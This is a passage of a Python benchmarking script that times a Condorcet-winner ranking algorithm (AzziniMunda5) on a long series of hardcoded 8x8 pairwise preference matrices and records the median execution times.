float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 36, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,986,950,949,978,984,1018,977], [1015,0,943,957,1004,971,1014,996], [1051,1058,0,1019,1041,1033,1062,998], [1052,1044,982,0,1043,997,1061,1028], [1023,997,960,958,0,947,979,937], [1017,1030,968,1004,1054,0,1042,1016], [983,987,939,940,1022,959,0,972], [1024,1005,1003,973,1064,985,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 37, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,1113,1077,989,1242,1097,1024], [993,0,1026,911,892,1113,1081,1028], [888,975,0,930,987,1233,987,1009], [924,1090,1071,0,1064,1205,1123,965], [1012,1109,1014,937,0,1099,1120,991], [759,888,768,796,902,0,851,813], [904,920,1014,878,881,1150,0,942], [977,973,992,1036,1010,1188,1059,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 38, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,1062,962,1002,1015,953,1001], [1008,0,992,982,966,1003,979,947], [939,1009,0,935,997,912,970,935], [1039,1019,1066,0,1026,995,964,941], [999,1035,1004,975,0,949,914,932], [986,998,1089,1006,1052,0,1010,1003], [1048,1022,1031,1037,1087,991,0,980], [1000,1054,1066,1060,1069,998,1021,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 39, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1039,1021,1020,1009,986,997,989], [962,0,976,1019,978,990,951,976], [980,1025,0,1026,1011,1006,1005,1003], [981,982,975,0,990,1019,988,1003], [992,1023,990,1011,0,1002,1009,1014], [1015,1011,995,982,999,0,1020,1032], [1004,1050,996,1013,992,981,0,1032], [1012,1025,998,998,987,969,969,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 40, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1009,999,991,970,981,998,998], [992,0,1008,995,971,1006,981,974], [1002,993,0,1007,964,988,975,999], [1010,1006,994,0,976,1012,1017,999], [1031,1030,1037,1025,0,1016,1021,975], [1020,995,1013,989,985,0,971,1008], [1003,1020,1026,984,980,1030,0,952], [1003,1027,1002,1002,1026,993,1049,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 41, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1017,1010,987,951,964,1007,936], [984,0,971,962,984,980,1012,1003], [991,1030,0,986,960,981,1021,982], [1014,1039,1015,0,1012,987,981,996], [1050,1017,1041,989,0,999,1001,999], [1037,1021,1020,1014,1002,0,1013,995], [994,989,980,1020,1000,988,0,985], [1065,998,1019,1005,1002,1006,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 42, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1004,1049,992,1023,980,1032,987], [997,0,1085,1024,933,972,1007,1062], [952,916,0,959,958,948,960,958], [1009,977,1042,0,991,967,962,1014], [978,1068,1043,1010,0,996,1012,1026], [1021,1029,1053,1034,1005,0,1041,993], [969,994,1041,1039,989,960,0,973], [1014,939,1043,987,975,1008,1028,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 43, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,921,993,928,915,1022,922,958], [1080,0,1014,1085,1014,1066,1020,981], [1008,987,0,1009,1011,1059,975,947], [1073,916,992,0,1012,1074,997,989], [1086,987,990,989,0,1053,995,980], [979,935,942,927,948,0,935,929], [1079,981,1026,1004,1006,1066,0,1043], [1043,1020,1054,1012,1021,1072,958,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 44, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,966,960,1018,984,1003,987,1016], [1035,0,959,1001,987,1015,1048,1027], [1041,1042,0,1025,999,1015,1036,1013], [983,1000,976,0,961,973,998,1011], [1017,1014,1002,1040,0,1002,997,1009], [998,986,986,1028,999,0,1019,1006], [1014,953,965,1003,1004,982,0,1010], [985,974,988,990,992,995,991,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 45, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1043,1021,1030,1023,991,1005], [1003,0,1015,1011,1047,1013,1015,993], [958,986,0,987,979,1007,987,995], [980,990,1014,0,1000,995,966,969], [971,954,1022,1001,0,1007,960,984], [978,988,994,1006,994,0,969,996], [1010,986,1014,1035,1041,1032,0,1015], [996,1008,1006,1032,1017,1005,986,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 46, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,988,977,984,1000,989,978,1038], [1013,0,1030,1009,996,995,1018,1045], [1024,971,0,985,998,968,994,1018], [1017,992,1016,0,981,982,1015,1022], [1001,1005,1003,1020,0,1021,997,1027], [1012,1006,1033,1019,980,0,1019,1038], [1023,983,1007,986,1004,982,0,1041], [963,956,983,979,974,963,960,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 47, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1067,975,938,992,1030,938,938], [934,0,958,949,959,999,936,936], [1026,1043,0,1009,993,1068,978,1026], [1063,1052,992,0,1064,996,1032,1067], [1009,1042,1008,937,0,1071,938,997], [971,1002,933,1005,930,0,1027,966], [1063,1065,1023,969,1063,974,0,1026], [1063,1065,975,934,1004,1035,975,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 48, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,979,970,929,937,963,967,913], [1022,0,1009,1062,988,966,994,1049], [1031,992,0,1034,962,922,967,982], [1072,939,967,0,935,871,982,931], [1064,1013,1039,1066,0,975,997,935], [1038,1035,1079,1130,1026,0,1021,915], [1034,1007,1034,1019,1004,980,0,978], [1088,952,1019,1070,1066,1086,1023,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 49, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,1010,982,1006,1008,962,1024], [1009,0,1032,1024,979,1031,1013,988], [991,969,0,983,969,981,995,996], [1019,977,1018,0,960,1014,1001,983], [995,1022,1032,1041,0,1030,1008,1049], [993,970,1020,987,971,0,976,991], [1039,988,1006,1000,993,1025,0,1031], [977,1013,1005,1018,952,1010,970,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 50, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,741,653,999,877,1387,909,954], [1260,0,1075,1314,828,1402,1358,1510], [1348,926,0,1186,958,901,1235,1273], [1002,687,815,0,857,1066,1128,1009], [1124,1173,1043,1144,0,1112,819,884], [614,599,1100,935,889,0,688,1137], [1092,643,766,873,1182,1313,0,1096], [1047,491,728,992,1117,864,905,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 51, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,958,1019,991,988,934,914,974], [1043,0,1061,974,986,973,952,1015], [982,940,0,993,916,934,948,980], [1010,1027,1008,0,971,966,1032,935], [1013,1015,1085,1030,0,1022,1048,990], [1067,1028,1067,1035,979,0,1038,1038], [1087,1049,1053,969,953,963,0,987], [1027,986,1021,1066,1011,963,1014,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 52, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,996,951,949,989,1020,982,1022], [1005,0,993,1002,978,1054,1018,1015], [1050,1008,0,1031,998,1068,1000,1027], [1052,999,970,0,1002,1014,1035,1041], [1012,1023,1003,999,0,1042,1037,1035], [981,947,933,987,959,0,928,984], [1019,983,1001,966,964,1073,0,1022], [979,986,974,960,966,1017,979,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 53, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1026,999,1019,1094,949,1026,942], [975,0,1031,1019,1018,907,961,1051], [1002,970,0,1071,1013,862,1068,1046], [982,982,930,0,999,961,1054,963], [907,983,988,1002,0,926,1003,993], [1052,1094,1139,1040,1075,0,1081,981], [975,1040,933,947,998,920,0,950], [1059,950,955,1038,1008,1020,1051,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 54, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,993,990,1002,1007,1002,1019,1003], [1008,0,997,1005,992,1025,1025,971], [1011,1004,0,987,1012,1041,1042,984], [999,996,1014,0,1005,1037,1011,1010], [994,1009,989,996,0,1028,1011,995], [999,976,960,964,973,0,1003,997], [982,976,959,990,990,998,0,994], [998,1030,1017,991,1006,1004,1007,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 55, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,847,974,849,906,930,980,1014], [1154,0,998,1031,961,1186,1174,1216], [1027,1003,0,935,676,957,935,964], [1152,970,1066,0,1083,1049,1074,1193], [1095,1040,1325,918,0,1034,1222,1049], [1071,815,1044,952,967,0,1041,1152], [1021,827,1066,927,779,960,0,1050], [987,785,1037,808,952,849,951,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 56, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,998,1019,994,980,992,980,1021], [1003,0,985,1014,998,989,989,1009], [982,1016,0,1030,1013,1014,1005,990], [1007,987,971,0,982,1005,980,995], [1021,1003,988,1019,0,1016,1009,1018], [1009,1012,987,996,985,0,990,1014], [1021,1012,996,1021,992,1011,0,1023], [980,992,1011,1006,983,987,978,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 57, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,970,968,969,947,986,944,1032], [1031,0,983,1004,963,1062,949,1004], [1033,1018,0,1003,1000,1068,942,1006], [1032,997,998,0,1014,1088,1004,1032], [1054,1038,1001,987,0,1077,1017,1034], [1015,939,933,913,924,0,956,952], [1057,1052,1059,997,984,1045,0,1080], [969,997,995,969,967,1049,921,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 58, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,990,984,964,1004,981,980,978], [1011,0,1003,1020,1032,1030,992,1014], [1017,998,0,1002,1049,1027,1014,1000], [1037,981,999,0,1033,1018,958,970], [997,969,952,968,0,1011,987,1007], [1020,971,974,983,990,0,987,1001], [1021,1009,987,1043,1014,1014,0,1004], [1023,987,1001,1031,994,1000,997,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 59, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,936,961,904,979,900,988,985], [1065,0,971,975,958,1001,1042,955], [1040,1030,0,1015,1017,958,1037,1006], [1097,1026,986,0,1034,991,1017,1008], [1022,1043,984,967,0,948,1021,1016], [1101,1000,1043,1010,1053,0,1041,1005], [1013,959,964,984,980,960,0,1027], [1016,1046,995,993,985,996,974,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 60, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,1087,1045,1077,992,1079,1062], [1037,0,1018,960,1062,993,1040,1064], [914,983,0,969,998,957,1021,1029], [956,1041,1032,0,1008,1030,1034,1045], [924,939,1003,993,0,981,1018,1001], [1009,1008,1044,971,1020,0,1054,1027], [922,961,980,967,983,947,0,988], [939,937,972,956,1000,974,1013,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 61, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,983,985,993,962,961,1030,1028], [1018,0,997,939,1004,1013,1047,1002], [1016,1004,0,982,1031,987,1052,1058], [1008,1062,1019,0,987,1016,1002,1022], [1039,997,970,1014,0,921,1021,1050], [1040,988,1014,985,1080,0,993,989], [971,954,949,999,980,1008,0,986], [973,999,943,979,951,1012,1015,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 62, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1050,1041,1090,1025,1097,985,1098], [951,0,993,1034,1011,1073,1042,1071], [960,1008,0,1040,974,1030,987,1051], [911,967,961,0,917,1025,953,994], [976,990,1027,1084,0,1077,1010,1109], [904,928,971,976,924,0,954,1019], [1016,959,1014,1048,991,1047,0,1036], [903,930,950,1007,892,982,965,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 63, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,926,944,973,902,926,902], [1028,0,981,985,995,933,972,983], [1075,1020,0,1009,1020,1006,984,933], [1057,1016,992,0,974,943,994,958], [1028,1006,981,1027,0,934,979,941], [1099,1068,995,1058,1067,0,1039,1028], [1075,1029,1017,1007,1022,962,0,970], [1099,1018,1068,1043,1060,973,1031,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 64, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1029,946,938,973,963,986,1183], [972,0,915,1070,1041,924,996,1086], [1055,1086,0,1061,1050,931,1052,1103], [1063,931,940,0,1036,1027,1109,1151], [1028,960,951,965,0,922,1087,1158], [1038,1077,1070,974,1079,0,1005,1141], [1015,1005,949,892,914,996,0,1146], [818,915,898,850,843,860,855,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 65, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1013,969,1021,1037,1011,985,983], [988,0,1067,1017,1056,1033,1033,1008], [1032,934,0,1022,1086,965,1024,988], [980,984,979,0,1052,1002,1022,1032], [964,945,915,949,0,969,980,900], [990,968,1036,999,1032,0,966,1007], [1016,968,977,979,1021,1035,0,991], [1018,993,1013,969,1101,994,1010,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 66, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1057,988,1048,1014,990,1032,1019], [944,0,981,996,986,940,1078,971], [1013,1020,0,1064,987,989,990,1005], [953,1005,937,0,1051,1031,961,1029], [987,1015,1014,950,0,991,989,1054], [1011,1061,1012,970,1010,0,1033,1023], [969,923,1011,1040,1012,968,0,1071], [982,1030,996,972,947,978,930,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 67, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1018,993,959,1003,982,1009,1033], [983,0,1022,999,1044,1064,1074,1014], [1008,979,0,1005,923,998,981,1048], [1042,1002,996,0,1011,1040,985,1054], [998,957,1078,990,0,964,971,1025], [1019,937,1003,961,1037,0,1041,1020], [992,927,1020,1016,1030,960,0,985], [968,987,953,947,976,981,1016,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 68, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,947,966,955,936,972,945,974], [1054,0,985,972,1029,990,992,1005], [1035,1016,0,972,972,962,1009,1023], [1046,1029,1029,0,983,995,1032,997], [1065,972,1029,1018,0,1006,1033,1022], [1029,1011,1039,1006,995,0,1029,1023], [1056,1009,992,969,968,972,0,1012], [1027,996,978,1004,979,978,989,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 69, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1011,1002,984,985,1006,1007,999], [990,0,1004,997,967,980,972,988], [999,997,0,981,963,1024,997,986], [1017,1004,1020,0,1011,1002,1004,972], [1016,1034,1038,990,0,992,1012,991], [995,1021,977,999,1009,0,1011,996], [994,1029,1004,997,989,990,0,1002], [1002,1013,1015,1029,1010,1005,999,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 70, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,1008,954,1024,978,990,931,1001], [993,0,947,995,976,974,964,994], [1047,1054,0,1031,999,1011,977,1023], [977,1006,970,0,952,989,985,1010], [1023,1025,1002,1049,0,982,1002,1024], [1011,1027,990,1012,1019,0,970,1026], [1070,1037,1024,1016,999,1031,0,1019], [1000,1007,978,991,977,975,982,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 71, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,964,936,986,987,1016,988,1015], [1037,0,993,1018,1048,1025,1023,1046], [1065,1008,0,1004,1023,1024,991,1042], [1015,983,997,0,1026,1010,997,1041], [1014,953,978,975,0,971,970,1023], [985,976,977,991,1030,0,1010,994], [1013,978,1010,1004,1031,991,0,977], [986,955,959,960,978,1007,1024,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 72, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,972,972,919,971,922,962,1034], [1029,0,1015,1046,1044,999,991,1048], [1029,986,0,1059,1074,955,1047,1046], [1082,955,942,0,1057,999,1012,1051], [1030,957,927,944,0,959,1024,1050], [1079,1002,1046,1002,1042,0,961,1007], [1039,1010,954,989,977,1040,0,1051], [967,953,955,950,951,994,950,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 73, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,999,1000,1037,1050,1073,970,1024], [1002,0,935,972,967,1015,944,988], [1001,1066,0,990,1022,1067,977,1014], [964,1029,1011,0,984,1061,960,953], [951,1034,979,1017,0,1030,959,967], [928,986,934,940,971,0,907,942], [1031,1057,1024,1041,1042,1094,0,972], [977,1013,987,1048,1034,1059,1029,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 74, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,992,999,1027,1015,962,996,971], [1009,0,1047,1002,976,947,1026,961], [1002,954,0,1007,972,968,1034,1009], [974,999,994,0,946,938,1017,997], [986,1025,1029,1055,0,1016,1052,1028], [1039,1054,1033,1063,985,0,1010,1016], [1005,975,967,984,949,991,0,964], [1030,1040,992,1004,973,985,1037,0]]) times = np.zeros(rep) for i in range(rep): # Algorithm with Condorcet winner algorithm = alg.AzziniMunda5(om, float("inf")) start_time = time.time() sol = algorithm.execute() t = (time.time() - start_time) times[i] = t #print(t) exec_time = np.median(times) result = np.append(np.array([8, 2001, 75, "ME-PRCW", exec_time, sol.shape[0], algorithm.ntentative], dtype=np.dtype(object)), times) print(result[:7]) results = np.vstack((results, result)) ############################################################## om = np.array([ [0,973,967,1015,958,945,983,930], [1028,0,981,995,985,990,958,1006], [1034,1020,0,1005,961,960,1005,972], [986,1006,996,0,964,975,976,991], [1043,1016,1040,1037,0,952,1011,974], [1056,1011,1041,1026,1049,0,984,963], 